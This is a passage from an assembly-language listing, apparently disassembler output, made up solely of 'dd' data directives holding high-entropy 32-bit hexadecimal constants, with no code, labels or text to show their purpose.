		dd 0A1F8D2C0h, 0D86B857Ch, 85BFE90h, 9317BEE3h,	7601EE74h
		dd 0E3A7871Bh, 55B2E23Eh, 39BE3E9Eh, 0D218AD92h, 0E9D7A0C3h
		dd 0BACD5E30h, 59CBC761h, 3228FB2Fh, 0CDBD4A68h, 0E80EE1A4h
		dd 0E91A1E38h, 5F1A63C5h, 0BBE59029h, 67964C29h, 0F83FCDE1h
		dd 0C6ECB108h, 0D9B6F354h, 68092E48h, 0DAFC381Ch, 0D755ED62h
		dd 31FD314Eh, 7942208Dh, 2CEF1305h, 6DECF101h, 11515C2Fh
		dd 7F096885h, 942465EFh, 27A8FA90h, 3B381AA1h, 4B9CFA41h
		dd 548A5667h, 6688D14h,	72843109h, 62DDFB50h, 5DFCA482h
		dd 12295AB0h, 0B4D78AB5h, 1F398010h, 64EF4A43h,	560C1248h
		dd 7CC80CBEh, 0EB0BCF69h, 391529h, 9267434Ch, 0A9095870h
		dd 3305F658h, 0C0A85DFDh, 447F1C00h, 72068BEh, 0C1015903h
		dd 2D4CB6E9h, 0CCE05852h, 0C00BBD55h, 0D5D6C43Fh, 0AAE9D1E8h
		dd 30F604BDh, 514FD8EBh, 5386B102h, 0E213B050h,	48C3AAE3h
		dd 679C476Fh, 69F3D509h, 2259130Bh, 5F7958D3h, 3DAD4018h
		dd 0CD605681h, 29435BF6h, 50FE12E3h, 5B2560F4h,	6825BE90h
		dd 3E3E75Eh, 0C749032Fh, 482E70DEh, 0B5FEEDAh, 6B89F176h
		dd 659079D6h, 28F5B505h, 9274C8EBh, 5A7DF167h, 2741AB73h
		dd 0C15CB87Bh, 0B2353800h, 271E713h, 3446EA81h,	8B724818h
		dd 0D3E90880h, 88FFDF4Ah, 0C040A3D8h, 43FC955Ch, 0C60929C5h
		dd 0B2D2704Ah, 0D566C3F8h, 3CE9181Fh, 50F32A53h, 0D2CD648h
		dd 0EE01628Ah, 976FB071h
		dd 0AE8212AEh, 0A149CBE7h, 0EFA257F5h, 9444968Eh, 0B28D4061h
		dd 0B551A700h, 80D5F6D8h, 28390EF5h, 0CA6259EAh, 627A7DE9h
		dd 0F6ADF48h, 0D3A16615h, 0E0BF65FBh, 5B62D9B1h, 0DAD03086h
		dd 63D69530h, 45267A8Bh, 15BE0C8Fh, 0EA97C5C7h,	206CD0A4h
		dd 58BDDB4Fh, 7672131Bh, 0E3AF07DEh, 6E09E24Ch,	0D7C0B4C0h
		dd 0E9160573h, 0A328467Bh, 29DE9551h, 31885D56h, 14775F25h
		dd 8C7BBC51h, 52629B05h, 3263C1ECh, 20E1B70Ch, 684CD9ACh
		dd 0D79D703Fh, 47E94EB0h, 4F4FDF56h, 0A77A28FFh, 0FC970C70h
		dd 735FDA69h, 47811275h, 890A09E9h, 25705509h, 5E14D0BFh
		dd 82E294BFh, 5703CB95h, 0A4B7E951h, 0A8FEAC2Ah, 0BD30616Ah
		dd 0C47A2CCAh, 0F6B04225h, 0A57B2938h, 0EE415F67h, 2DC257AFh
		dd 0E77A20AEh, 0AB371A17h, 36FC00B0h, 560C2B35h, 2D1B7D12h
		dd 81350EBh, 87FC5F25h,	92AF4C2h, 0C7D597Fh, 251491C9h
		dd 0B2097403h, 0C9F40579h, 0BB2EC67Dh, 0D021CA42h, 13FDF85Ah
		dd 4A3D9C85h, 89D2B46Dh, 3C4242E9h, 5C7975DCh, 0F52BF33Fh
		dd 12BC2F01h, 3B201F53h, 927A17D2h, 0BA29F036h,	81EDF05h
		dd 0A4FB4268h, 590ADD6h, 0EC6B3E0Bh, 3A07D43h, 0BD7587EBh
		dd 2EF9554Bh, 3B397D11h, 0E0E3A5C8h, 0B543B1BCh, 90D36263h
		dd 0B652C1A8h, 27253777h, 20495135h, 5C017D8h, 81A1B25Dh
		dd 44166853h, 0EB660953h, 0EB0616D5h, 4078AD5Dh, 77FC2EBh
		dd 8D5114CFh, 7A9210B9h, 3186B9E6h, 35B51C7Fh, 0F82EA5F1h
		dd 0FDEBA164h, 0D79D406Fh, 1703246h, 2DCCF141h,	0DC88066Bh
		dd 333C1D68h, 0EAF46220h, 0A246556h, 0CF4EBB09h, 32E0079Eh
		dd 5F52A2E3h, 823CE61Ch, 0EAD2315Ch, 0CB595DC7h, 77D929C2h
		dd 8A944A16h, 5D20E950h, 5F929453h, 0A2450938h,	0DCB067FAh
		dd 0DA004198h, 0BD3E8E0Eh, 9812F654h, 16274B24h, 0B3A1168Fh
		dd 27314832h, 0C855EB2Ch, 0F6468A15h, 35884D76h, 0B5770501h
		dd 404A5A0Ch, 475E11EEh, 275D0258h, 9A459828h, 6AC5270Fh
		dd 3500E876h, 1AB143E2h, 953749E9h, 280CB15Eh, 1E4E015Ch
		dd 2506810h, 0A3B8312Bh, 0B382C67Eh, 57057C51h,	0F417D9AAh
		dd 0DBB7170Dh, 20760A2Ah, 77E98646h, 48953C23h,	0BD96A601h
		dd 0A4FC819Ch, 32EAD05Fh, 6E4199E6h, 7811F99Eh,	2BD385Ah
		dd 91BF40Dh, 2AC9E4EEh,	75AB37F2h, 0A61CB961h, 58C6C95Bh
		dd 46D82127h, 15FD9D6Bh, 0CEE9841Ch, 0EE30BB30h, 7F2D07E0h
		dd 33FA06E4h, 0C3AC5BE9h, 0EA80590Fh, 159B4C43h, 0B75DFE55h
		dd 0D4032E2h, 802C4A79h, 2113CE0Fh, 6816F7E2h, 2B89EB69h
		dd 9D1431E0h, 1036DAA4h, 0FA90278Bh, 0AAC75485h, 7249843h
		dd 5F60C5C3h, 0EC86D53Ch, 0DD5D2723h, 6F2F33BBh, 0A20C22FEh
		dd 0D89ADF22h, 6808F5C7h, 78E425B0h, 870BECE3h,	0F58BF582h
		dd 0BB407D7Ch, 5A601311h, 0BD4C41Bh, 2254C506h,	454BE0ADh
		dd 29501224h, 89B10DDh,	0E9C50102h, 0D3F7D2BAh,	3644E2D0h
		dd 0E3857D0Fh, 3BEEF0Eh, 654886C9h, 920218F6h, 55B76DC8h
		dd 0F22355BDh, 0FEE8EA01h, 0FD9DFFE1h, 0E919649Eh, 5C0A4B9Dh
		dd 0C42EF87Bh, 2CEF91C2h, 1001C7ECh, 0E96A3223h, 5F81FA12h
		dd 0F84375C5h, 56B17A2Ch, 8744C80h, 0EE0105E1h,	3DEC5D4Fh
		dd 7710E9C6h, 0DCEE5F60h, 9D1CE309h, 0EE3D201Ch, 1C4AACDFh
		dd 0DB57FB0Ah, 265BDC2h, 74F4B868h, 5053D62Fh, 0F060CDE9h
		dd 79BBEBA9h, 1B705CB0h, 1A47BE14h, 0F8540EC9h,	57428768h
		dd 5B325559h, 0E863E055h, 0C0B2BD46h, 8B9721F0h, 0E22C004Dh
		dd 5C54071Ch, 18043964h, 0C063715Dh, 2B727972h,	0D6314703h
		dd 22901E9h, 60B6BA34h,	96602A78h, 0B51D69h, 0F844C181h
		dd 4AE9F0A2h, 0C76432D9h, 9F79D87Dh, 0FDAF3C56h, 0F082D2B2h
		dd 455729DAh, 98C31698h, 0A4523D78h, 7FF30C95h,	5C3472ADh
		dd 0FF921542h, 50BCFD85h, 581C0A4h, 270A4874h, 0E00AC3E9h
		dd 950C8043h, 0FF4EEEA9h, 6361EF88h, 73B870EAh,	6836E8C9h
		dd 0DD5710ABh, 561662Dh, 348BD47Ch, 5C91CEB5h, 8608C31h
		dd 0C0B70FC3h, 3394789Ah, 0A112166Bh, 0A33F2AE4h, 60009275h
		dd 0E264486Fh, 0BF63F8E9h, 88B492A4h, 0FD0BF1C5h, 5D7F7B73h
		dd 0A11EE982h, 14B05D05h, 9751BCC4h, 0BC99BA1Fh, 0B7250FFCh
		dd 0D4A1E4F3h, 1E73A68Dh, 0A22AF03Ah, 72B27A04h, 0C8FBEED1h
		dd 4A604144h, 5859CD57h, 1D4BE881h, 81532E13h, 0AF33FFF5h
		dd 0DEB53E57h, 2C12B200h, 0BEF2B519h, 0E95E0880h, 3DC68B49h
		dd 2DEBDE68h, 0DC902B09h, 28093DCCh, 1935F07h, 6F4B016Ah
		dd 4C2ADE9h, 8912F2A8h,	0D9FEFCCFh, 6530E788h, 418C9E53h
		dd 70F1B050h, 6CC65B2h,	80EF4878h, 5858C189h, 0E75A27C2h
		dd 0E45C1284h, 7DDE381Fh, 41014064h, 46438D44h,	54579F40h
		dd 247677EFh, 0ACED6F7h, 629D3BE6h, 2A61E801h, 28BE042Eh
		dd 375B36BAh, 58050F25h, 938C49F6h, 4A73092Dh, 867D1970h
		dd 4F4E56A0h, 52C8D844h, 360BE690h, 75484947h, 0E9C23E2Eh
		dd 2FC85AE2h, 6CB03E5h,	1E65FD02h, 0A5AF2E92h, 0C4B77BC9h
		dd 396858C1h, 0E3F33B15h, 13764BD2h, 0C9BBC530h, 305C637Ah
		dd 430212A0h, 532524ECh, 5B5062E6h, 9B5BA0CBh, 0E5EDA19Dh
		dd 0EB52AD57h, 0F22641Eh, 0B947D5D9h, 0CFD01C69h, 0A817D9BDh
		dd 5DC71EEFh, 0FB01CBBCh, 173EDEC5h, 250DA005h,	0A13FD369h
		dd 0FF1470B1h, 175ECE7Fh, 9F8BA1B0h, 8C71B2D4h,	6809E928h
		dd 5462D10h, 9306B378h,	71D7E93Fh, 0C6C105B7h, 1F5DB66Ah
		dd 42AC4BD4h, 0DE2412C6h, 7650EA21h, 926EBFF8h,	0EA9F1FF6h
		dd 6A007574h, 6AC2F078h, 4C95315Dh, 143604D8h, 1281634Ch
		dd 9D035FFh, 59CA0489h,	0EE5DEA31h, 4B06D88Eh, 0B368B3E9h
		dd 783172ECh, 3AF29E56h, 0CF87EE05h, 85DC07D7h,	0F0875ADAh
		dd 8098E35Ch, 12EC6061h, 0E320505Eh, 5B69C22h, 986EE268h
		dd 1058BCB3h, 5FBBD2D7h, 0D04C0BFCh, 292FE75Ah,	0F6B2FDA8h
		dd 0E984355Bh, 0ACBABE5Fh, 522080AEh, 9D297AFCh, 0A9B1AFDh
		dd 9231C60Ch, 43880A8Bh, 0F425EDFAh, 941FC2BEh,	54F68001h
		dd 6C1E817Eh, 58416251h, 0CDE2CC3Dh, 59EB3988h,	0DD87EABAh
		dd 0A3515B66h, 0EA97F6D1h, 0E6D627C0h, 3FB01120h, 66AB4B33h
		dd 0D1B3F152h, 0B1ABA86Bh, 0A23CC5E9h, 3E45E15Bh, 0DD44E449h
		dd 140241A9h, 1046066h,	7E4CA5BFh, 0B72469A5h, 4B561A5Eh
		dd 90D51D7Ah, 97A81A14h, 0D75A257Eh, 0E5B78CCEh, 433888CBh
		dd 4F3AC381h, 0A12A61E7h, 884CAD4h, 50D4E05Dh, 412FE6B5h
		dd 4FE17A22h, 9F1877E0h, 5C25F4DBh, 1CEA4286h, 96D3520Fh
		dd 90135BE1h, 5D5FE582h, 4D27C112h, 70FC7D00h, 0C5213252h
		dd 718ED21h, 84E922D4h,	5C2A43Ch, 68E5D104h, 5FD81E9Dh
		dd 7FA70482h, 0EEDD313Eh, 905E6DCEh, 27F66875h,	0FC6415C9h
		dd 0B7C39FD8h, 26CB6003h, 165EC47Eh, 53083FCh, 502A4420h
		dd 0DEFD014Bh, 0FFDC2D27h, 0F12ADFC2h, 0BCD08C07h, 0FD9D5950h
		dd 0AA065E84h, 0A2AFAD12h, 18488Dh, 1A9C5E77h, 9F43DBF7h
		dd 7D0B9B64h, 40DEAC4h,	6F90C784h, 3B5186E6h, 0E1172DB1h
		dd 4F9AD85h, 59CE30DCh,	4ECD9CB4h, 92D5FDA6h, 3BB7F1BEh
		dd 9D57472Ch, 9156C0DEh, 4FA81F9Bh, 0F702140Ah,	0E4DD555Eh
		dd 78E0F22Fh, 8D6B2E52h, 1DA4439Ch, 0E8281C12h,	53197AF3h
		dd 7042CC52h, 0A39EF5A1h, 4E1A218Ch, 0C9C1F846h, 9A785F3Dh
		dd 8C44D4BEh, 41F6890Dh
		dd 3B08EE25h, 8109C9C3h, 58D877D8h, 0CF2D1E5Ah,	0D29D186Ah
		dd 0BB2F2A9Fh, 1D287D2Ch, 0F9020897h, 375CB902h, 48B341D0h
		dd 2E351325h, 0E82F9B21h, 0B4B7EE8h, 19E93B16h,	0BF6F2E84h
		dd 2768E7CCh, 0AD5E3A30h, 25E95950h, 1C55B2A1h,	0B468EA17h
		dd 0CCAF9C40h, 980608EBh, 96416595h, 868E1568h,	0FC4388Bh
		dd 0A2385A9Fh, 27495C50h, 6861F9E5h, 0F63B4625h, 8AEE96DFh
		dd 3E0D126Ch, 638FB044h, 0E7FF37BBh, 0FBD26FCFh, 39344B2h
		dd 1E3D4D81h, 7A23E989h, 9EAA5C16h, 42491260h, 0EE4E6BF2h
		dd 7430E537h, 4BC1408Dh, 0BD1EC0E1h, 64202920h,	0F844F931h
		dd 17FD9AC0h, 0C990C15Bh, 0E0BF551Bh, 22549A68h, 841EBA5Fh
		dd 8180E87Eh, 0B3E63EAh, 4452B768h, 723EF271h, 4C4A2E5Eh
		dd 7DD05837h, 0C28BCEC6h, 1C42E970h, 0B60987E4h, 817E3279h
		dd 904B0928h, 1D45CCEh,	54F8576Fh, 7FBC3189h, 88018B25h
		dd 3C0C677Fh, 163BCF20h, 0BE06A120h, 1BB18506h,	30581226h
		dd 99FF12C8h, 0AF1B43E8h, 0D5E93187h, 5D88AFFEh, 7AB26E91h
		dd 77EF2440h, 253D6202h, 0FFD42C8Bh, 97370270h,	2068E4A1h
		dd 1283376h, 77B8BF57h,	0F8E4550Bh, 0F7019D5Fh,	7ED562E9h
		dd 688242FCh, 6CDC0907h, 845A0EC3h, 852DF3BFh, 0F5FA2FC4h
		dd 594E030h, 90A889DFh,	7F278909h, 8AF00075h, 0FA0B8E1Ah
		dd 69099F71h, 5BF31457h, 0F007B854h, 9D2A4668h,	68414FDBh
		dd 26C036Dh, 0A91C1DC4h, 7EC5045Dh, 2807075h, 5A0256A0h
		dd 0EA11C708h, 21C3408h, 33746814h, 0BE3CC7Fh, 60366C8Eh
		dd 50063C00h, 294E8168h, 1F2C1CCCh, 736A640h, 247E7BE1h
		dd 0A8769561h, 71180487h, 8818970h, 0A1A5A8E9h,	0C29DC5F7h
		dd 90D6DB68h, 0AD2B0840h, 0C4BD056Dh, 0EFAF678Eh, 4A3CF4F0h
		dd 4F94B31Ch, 0E4B9F291h, 85C0273Bh, 59A84493h,	97ECAC20h
		dd 0C38D42C1h, 69B10104h, 6F620B17h, 31C1E5A4h,	0E90E04E6h
		dd 4A123C7Ah, 0ED6DC9EEh, 0AAF05507h, 0EC5E889Ah, 10DA10D7h
		dd 7EF9E95Bh, 822F8499h, 7F8A9E98h, 0BFCA3726h,	0EF6D7EBDh
		dd 0B8C7FCC5h, 0A7EBE4F2h, 0C0E919EFh, 845229DDh, 0BD0EC90Dh
		dd 2E4433E4h, 2834D4Bh,	70656DDh, 0FC576ADFh, 0DA893A98h
		dd 0D8FEFBDFh, 74D6010Bh, 0CF22C29Dh, 0F427790Ah, 9BBA6C2h
		dd 0D974A3BFh, 0B5003644h, 0BAEA803Dh, 5BE2CFE1h, 117E8F4h
		dd 0B480DCEh, 0C7BD5220h, 0C745A529h, 888597A4h, 81EE53FAh
		dd 44F72Ch, 9C5EF129h, 6BE15241h, 405BEC28h, 63DC297h
		dd 5BC05907h, 9FEEA297h, 5F0482A5h, 0AC145787h,	5ADD6F65h
		dd 9844C289h, 0AC3FA58Dh, 0FFF4893h, 64053543h,	8684F101h
		dd 62BE0817h, 0C4051A9h, 0B9802FCCh, 0AE620028h, 5EABBA45h
		dd 68B5744Dh, 1D94F26Fh, 0BC679012h, 1C18C584h,	0B9F88057h
		dd 4D5A7B6Bh, 0D04A8F9h, 0C015A21Fh, 0CB02920Ch, 73A07C4Bh
		dd 87FE4801h, 25106605h, 0A475825Dh, 5ED3BB00h,	312C2793h
		dd 0ABA07F5Ch, 0FD1E301h, 1BE91D9Ch, 22E6882Bh,	0F06C660Eh
		dd 2CFB5289h, 23BD014Bh, 79E7F0D6h, 411C1337h, 92C5EE80h
		dd 0A8E545C5h, 3B1CCAE4h, 0A17C2CB7h, 0C8C2A4EEh, 0B3C52958h
		dd 827B273Ch, 9E95605h,	0D1B95590h, 0F883A5Fh, 7815A7Bh
		dd 63358466h, 0ED8355F1h, 7CC980CDh, 7D612672h,	0F6F7FA18h
		dd 0E3CA83Eh, 0FE9AE1E9h, 0B6546826h, 11B0743h,	83F52419h
		dd 0B79B8B08h, 9004C4C5h, 65A65C9Ah, 29A0174Eh,	14FCB55Eh
		dd 0F3E91C54h, 94DF254Fh, 0C5A39502h, 0A707283Ah, 0F331C9F5h
		dd 396665CFh, 70C394D1h, 2258A307h, 99F22B03h, 0D931D44Bh
		dd 0B23B9816h, 0A7EB80DBh, 0BD52513Dh, 2ACD0369h, 0E9F338ABh
		dd 0D77FC825h, 0FEC4EE98h, 292DE209h, 0B6C6D7F7h, 0D6BDFEB2h
		dd 0E10252F2h, 0E376DFA6h, 0E2CE29C3h, 9991D8B6h, 0B0953CABh
		dd 688F5C5Fh, 0AA1725CEh, 2CE9BD9Ch, 0D2FF0326h, 4BEC76h
		dd 0C85EFE31h, 0E6E91412h, 0EC971A0Eh, 615474C2h, 380977CAh
		dd 467ACB68h, 2E7D098Dh, 0AC0469C2h, 4823F283h,	8E688260h
		dd 151A7734h, 0FCAD84C5h, 0D17C5223h, 90727B42h, 2406F8E4h
		dd 2F96130h, 77030709h,	0C2D220FDh, 2723BB6Fh, 96DD8908h
		dd 93E1279Ah, 9692F6C4h, 5E63DA1Ch, 28C15F96h, 802B917Eh
		dd 0FC02B1E0h, 0AB0C7460h, 0B5283717h, 82756E89h, 5447FE0Ch
		dd 0DC360BBh, 0E9130313h, 0E1D12D45h, 8C2E6921h, 185AD5D5h
		dd 2FB46A41h, 0FF406673h, 9DDF5690h, 0E3A800F8h, 703E6FE1h
		dd 823077B4h, 0E6B76C32h, 4FFD7930h, 0ACC40FC6h, 54CCD8FDh
		dd 6815595Dh, 4C4C70E2h, 4D8859EAh, 0CC680922h,	4BB2C666h
		dd 0ED9B17F4h, 0E5FBF476h, 3D1FDCAFh, 55D86E48h, 0DFE46E60h
		dd 0E6B98E7h, 9CF0B8F7h, 0A9CCFB16h, 24154F5Ah,	0D7ADBEB2h
		dd 0E8609985h, 0DB31C5D7h, 53095CE2h, 8A890368h, 3508E476h
		dd 0D00104BEh, 9642EB05h, 4053525Ah, 146EB6Bh, 50BB6247h
		dd 31C52390h, 46D06FC6h, 5FE9FB29h, 4A41BAADh, 0D81C94BAh
		dd 0B878C42Eh, 1B4E4EB3h, 0F61E93C3h, 4BE0E986h, 6FF69F34h
		dd 82915F52h, 769DA514h, 0D45EAFA2h, 5F65FFAh, 0C85B19FBh
		dd 3BC5B3EAh, 0CDEC26B5h, 0ED17DFADh, 5F27A0F2h, 0E448F958h
		dd 74B812D3h, 0AE4A1349h, 643AE12Dh, 2846D952h,	98158477h
		dd 0A78ABCABh, 0FD1A42D2h, 51ED8A1h, 3F21494Ah,	1823A8C1h
		dd 9612BB05h, 4BD0A4EEh, 3BF38103h, 0E1B045E3h,	8A6E1ADBh
		dd 300E48FCh, 29CF195Dh, 3A0E2457h, 95C2C43h, 8A7C1E2Eh
		dd 5F901C64h, 9D8136E0h, 0C870B7C0h, 0C26B530h,	4075328Ch
		dd 0C125F1Ah, 88ECA17Fh, 0F567D37Eh, 0A3CE6A32h, 76B66A49h
		dd 0C2173D00h, 36E94212h, 0F4E79D40h, 0B2FF5012h, 9034D31Ah
		dd 0A89613BEh, 84B8D0BDh, 0B8AB1556h, 12CCE1A1h, 13E6B62Eh
		dd 136132C6h, 0E32F434Bh, 2B9A9F47h, 275DDC2Dh,	403519DFh
		dd 803FC73Ch, 0D57E3D25h, 0B8B2E87Ah, 7E5D81EAh, 7CCDD0A2h
		dd 78E040DFh, 80BDFD45h, 0DC1D7742h, 0D8939F0Bh, 299E60DFh
		dd 3ABA37C4h, 0F119A1BDh, 84EFB533h, 0D4A8A3FBh, 58AA01B4h
		dd 3668ABF8h, 2CFEA43Eh, 9DC254Dh, 0FC02C383h, 0D1FD7A5Fh
		dd 121F0BF8h, 5902EBD9h, 61585150h, 513D9BD9h, 0D703901Dh
		dd 949D0116h, 7E493C2Bh, 0A2C5CDF0h, 25F46408h,	32C61B3Bh
		dd 7E575026h, 95368405h, 0BCD7D381h, 0E0FAD43Ah, 0D2F6572Ch
		dd 0F12D60BCh, 0ECE8020Ch, 565715FEh, 40605A60h, 0AF3021C6h
		dd 203DA469h, 55280B3Bh, 2F58FEE9h, 70BF84B0h, 80F2B57Eh
		dd 52B4F497h, 5F06C2DDh, 5D525FDEh, 0E9D08976h,	74CE4F90h
		dd 0B1A3AE26h, 0F461BA4Bh, 0FD7DCC93h, 0F8E6D118h, 5B94435Fh
		dd 6A866EFh, 114F250Bh,	0BB6257F4h, 56C42CE3h, 525FBE5Eh
		dd 5646AE8Bh, 2AB383C4h, 0AADAD920h, 554B0070h,	49C2D0F2h
		dd 3DC39047h, 19E2CAF8h, 22419C26h, 5B0D2302h, 66747D16h
		dd 0F9C3950Bh, 0F368057Bh, 3EDEBA78h, 0BD5E5D2Dh, 5E535C5Ch
		dd 4607F205h, 151FC71Fh, 7064E9C4h, 587118BFh, 0C2E80B35h
		dd 4CD798C4h, 796F300Fh, 94E38034h, 2F45EDF1h, 217F578Dh
		dd 89D02986h, 4E1D8DD4h, 6C6B914Bh, 0BC5368Eh, 8E921087h
		dd 5D938BEAh, 65BC2BE8h, 0EDF54DC7h, 0DA186C03h, 1752F403h
		dd 6B2C0147h, 2125AF39h, 0E74B3FBCh, 6AA5F7C7h,	0B5B7BE5Eh
		dd 0E5AFE93Eh, 0A9A895FBh, 0C00C4129h, 8C55FA5h, 5B65E52Eh
		dd 4883E6FAh, 85393067h
		dd 253B9FC3h, 0F3800676h, 460F684Bh, 42E5F5C9h,	26B59D3h
		dd 5BBE6F33h, 63429245h, 7A770920h, 9DB1F445h, 28B08503h
		dd 2373A3B9h, 5A6C5868h, 0BEE4B8ACh, 0DD29E841h, 0AE740BE9h
		dd 3F5F1C2Dh, 0AF18FD63h, 0C7BD1486h, 0EE11E17h, 9A690BFFh
		dd 893D3E44h, 0E20A12F9h, 0C009E1FDh, 0CDD8C405h, 924FEB7h
		dd 0BE60CFE9h, 7CB7295Eh, 95F66B16h, 7D4B3CB0h,	0B49714Eh
		dd 5303E1C1h, 46978001h, 0C37D209Ch, 0D3F75814h, 2D0E02BDh
		dd 0E317502h, 22D7028h,	24955D9h, 0DAB2F101h, 8805AF57h
		dd 2BF023Eh, 17C1255Fh,	3A47D9E7h, 63DA79A0h, 9A68AF41h
		dd 0C195E895h, 759D167Ch, 4ACB7660h, 5A27A218h,	8AF556EBh
		dd 2DB74E7Ah, 1218EE5Ah, 41E7E92Bh, 0B4207F42h,	4CE6FF64h
		dd 0CA04DDF3h, 0EE59135Fh, 7B08CC50h, 2A305393h, 4E8602D8h
		dd 165EA86Fh, 0CCABB499h, 0BB4B4373h, 0C9BD4544h, 1751A4B4h
		dd 0FCF361C7h, 3CC81005h, 1166A84Eh, 0F6000EB6h, 41381DBFh
		dd 5E4EF321h, 614DC9FFh, 4B8C250Bh, 92EE4E5Fh, 7EDE5EEFh
		dd 10B6DF0Ch, 0D4A09BFh, 205638CCh, 59CF8905h, 0EAE713FAh
		dd 262CAC40h, 48014152h, 0F6E366FEh, 7E4315E8h,	72E80CC1h
		dd 0CEF05054h, 6D7A165Ah, 47590305h, 82F4585Ch,	0DD0921A2h
		dd 524B6266h, 3E6C6DBAh, 841267B1h, 0A4F077C2h,	94B937F6h
		dd 16BA5F3Bh, 7909BF5Dh, 5180B0B6h, 0CB4D86B9h,	6AF4BADh
		dd 10E83F20h, 73A529EDh, 0C1FD2890h, 0ACD644D8h, 62C03B6Bh
		dd 41F848Ch, 6603BB09h,	0FA2C6DC1h, 89D402Fh, 82BA0352h
		dd 294C3D75h, 0AD312428h, 4440EA90h, 470D02BDh,	0EDC13FF4h
		dd 0E2C54D40h, 1C01413h, 15A31F8h, 0DFACA992h, 5A8F3855h
		dd 0CB5F35FDh, 20B72D31h, 151BF318h, 0E3D8E53Fh, 1D4D1443h
		dd 613E8123h, 49609772h, 0A0257588h, 146C7C53h,	0E90908EBh
		dd 10E64226h, 97E4524Dh, 0C94EECECh, 3BC54170h,	21BE002Dh
		dd 78F62429h, 6231406h,	9C56C114h, 458E1D2Dh, 4B7A08B4h
		dd 0B5FB05CDh, 4CF4832Bh, 805BDD80h, 0EDE6C2FAh, 0C60B0A76h
		dd 4EE28C3h, 0E216307Ah, 0D25102Fh, 27A1BD5Bh, 0BD9878D5h
		dd 0DEADD0DBh, 0B708A001h, 594A0F7Ah, 58C4C344h, 0C13DB934h
		dd 75F06851h, 19023876h, 5A2CA343h, 85B9660h, 215DAE03h
		dd 0A541E9C2h, 0B86A68A5h, 550C6B30h, 5CB53CC4h, 970BE48h
		dd 5562B253h, 99696D07h, 5C8B1A5Dh, 9CD6A534h, 0C5C98007h
		dd 0F648E130h, 8E71E5D1h, 0ED7F69D5h, 3C899044h, 0B7284094h
		dd 6E5CC4D0h, 7D7F2016h, 0FD774B5Ch, 0DDE6CBEFh, 605F68B2h
		dd 5073524Ch, 0AA81DB88h, 752748Bh, 0A41092CEh,	0C4A0C489h
		dd 9326867Bh, 3C80AA40h, 0FA2CC4E4h, 0AB5893BEh, 0F3944E6h
		dd 8C97EE9Dh, 890605F6h, 7E6BE925h, 0D6712FB2h,	0A4FBC345h
		dd 19206FEh, 0D8927E95h, 0C297B9E9h, 0E979D18Dh, 68041B65h
		dd 2B81F0Eh, 55547EC5h,	2E04CC10h, 87604A19h, 0FA1C9586h
		dd 5527F69Ah, 30004D16h, 0BD112D3Fh, 5FCF2AEAh,	179DB215h
		dd 8CF453E9h, 47C409F1h, 507D43CCh, 5DB14DB5h, 1E073F50h
		dd 0D6191F6Eh, 5BD280D7h, 0F300B652h, 0F620CE80h, 14EED0DEh
		dd 0B703E6C0h, 34E98D04h, 0B176FF04h, 2E9D05B2h, 0BF010DE4h
		dd 2708AC10h, 30ADFA59h, 5665603h, 0C2C1978h, 2D142F2Ch
		dd 0ED680A07h, 0AA8EBD4Fh, 0CBBF134Bh, 55F24F75h, 0AAC121C5h
		dd 9F12E6E6h, 4BB3F93Ah, 59516A09h, 0EA21094Fh,	5566AF5Ch
		dd 3AD3B476h, 560B1392h, 0F191FF77h, 0A26A6D45h, 0FC56CB23h
		dd 535C702Ah, 48456801h, 505B36A8h, 2A20DCh, 0C7583C2Fh
		dd 62653042h, 9A0A8733h, 0AF474ADDh, 0ECD74ECBh, 6E03B001h
		dd 29502831h, 0F3E8B070h, 84F6276Eh, 3E01A139h,	59798790h
		dd 61D6BDB0h, 8B0C4624h, 32D223Bh, 6A6C2FA7h, 0EA41C801h
		dd 0F1264508h, 7D66A767h, 0DA33294Dh, 0BA4E02A0h, 4D0133B0h
		dd 82FDFD4Ah, 5DDDF727h, 2CF58FB0h, 2AB82FF2h, 0F4147B0h
		dd 27A9B36Ah, 0CAD27B53h, 7E6E0349h, 0C0F516Fh,	329D7AE4h
		dd 8CB50BEh, 1441554Ch,	0BFE99901h, 5164FED2h, 256F2CE7h
		dd 48BDD85Eh, 55346842h, 0E0BF1Eh, 0A0A516FAh, 8418201Ch
		dd 72121D4Ah, 278D5C01h, 16CD0C06h, 1AE9575Bh, 2E5E608Ch
		dd 9DA66870h, 0B85F200Bh, 0AEF81D4h, 48280FF3h,	2D25A88Ah
		dd 0C77AE0D1h, 815F2AFBh, 2A0F5D2Dh, 84A3096Bh,	0B8E18AB6h
		dd 2F9E724Fh, 0BB762502h, 5BEFCE0h, 788F16E0h, 0FC538450h
		dd 41BB5AD0h, 4E34870h,	0E96F74FAh, 22C25CF8h, 5E44B368h
		dd 5E77D21Dh, 99E9E26Eh, 6166B5E9h, 0A02DCCCFh,	1EAC0F4Eh
		dd 0C2BDE1B7h, 0DA60D239h, 5F20CA7h, 17389348h,	6C897192h
		dd 0C135F27Ah, 0C3B90C7h, 21CC992Fh, 74EC3F6Ah,	0FB4FE342h
		dd 7088410h, 19E10148h,	0EB644C35h, 5BE90C05h, 2FBDAD4h
		dd 36236885h, 9412DF6Ch, 14004612h, 8F036ACFh, 0E4F6037h
		dd 42830F4Ch, 18FA694h,	577F6920h, 0E986365Bh, 0EC6757E2h
		dd 2594B95Dh, 584403DEh, 0FCF04B4h, 142D3A9Bh, 0CA447564h
		dd 23317B54h, 0E4C02C59h, 73F4A660h, 9DC35093h,	0EA01B8E3h
		dd 2DFFA058h, 3EC7BFBBh, 0F520BC20h, 895C5CDFh,	82BCD6DEh
		dd 0F3E05E15h, 442D364Fh, 9D47C06Ch, 13A8091Bh,	0E36221E9h
		dd 520BD27Eh, 70837F66h, 0ECB5FE88h, 0C028BEDh,	597CECF6h
		dd 12072893h, 0A5201696h, 5A43F001h, 93BF8851h,	0F1B926C6h
		dd 945F9575h, 0F01ED348h, 885EA55Fh, 0F6E139BCh, 0FA8B60D6h
		dd 87EEC02Ch, 5046C61Dh, 83404FB0h, 0C9BBDCC9h,	6283BA9h
		dd 0F8C141C0h, 6C2EF5CBh, 0D20B8CA5h, 6E917CE6h, 4FEB377Bh
		dd 11A8F3FDh, 0E12E2AB2h, 0D00413F8h, 6129F3DEh, 9C04325h
		dd 0F380D569h, 1D23344Ah, 5AAB2D05h, 0CCB0352Bh, 5C170409h
		dd 0EF02EAE9h, 6EE93A99h, 43AD7D8Ch, 3FFB14F7h,	3045065h
		dd 0C8FA1789h, 16400D98h, 386AF15Bh, 0A0BF48FEh, 1968ED03h
		dd 47D0B7F6h, 0FB078609h, 0FC0CDF1Ah, 9703991Eh, 0C2E9AFC3h
